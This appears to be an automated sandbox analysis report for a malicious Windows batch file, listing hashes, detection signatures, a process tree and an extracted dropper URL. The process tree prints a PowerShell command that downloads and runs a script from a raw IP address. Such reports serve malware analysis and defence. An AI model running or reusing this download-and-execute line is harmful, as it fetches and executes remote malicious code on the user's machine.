Analysis

  • max time kernel
    126s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    12/07/2020, 00:10

General

  • Target

    d3fe887fa5f2522fa18e5a7a4c7edeab.bat

  • Size

    219B

  • MD5

    095d4b51311078e00015480ea6d28ab4

  • SHA1

    fc6cc3517edfddf916eb2275b9576d217c6a82b1

  • SHA256

    bf720acfb3a2f503222eae5a572791a0230dbf4ce5ed2c02b4f8dda85341c4a9

  • SHA512

    2a7f213d950e9321dfd88f62fc5c138667c09e337f672edfd8019e3fe78451c39f734399ae308177306f577f4e49730ef7b4bb69530c5e0732d992ab464fa45c

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/d3fe887fa5f2522fa18e5a7a4c7edeab

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d3fe887fa5f2522fa18e5a7a4c7edeab.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/d3fe887fa5f2522fa18e5a7a4c7edeab');Invoke-DWHAFNSROCWU;Start-Sleep -s 10000"
      2⤵
        PID:1844
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1844 -s 708
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:2084

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2084-1-0x0000000004760000-0x0000000004761000-memory.dmp

            Filesize

            4KB

          • memory/2084-8-0x0000000004D90000-0x0000000004D91000-memory.dmp

            Filesize

            4KB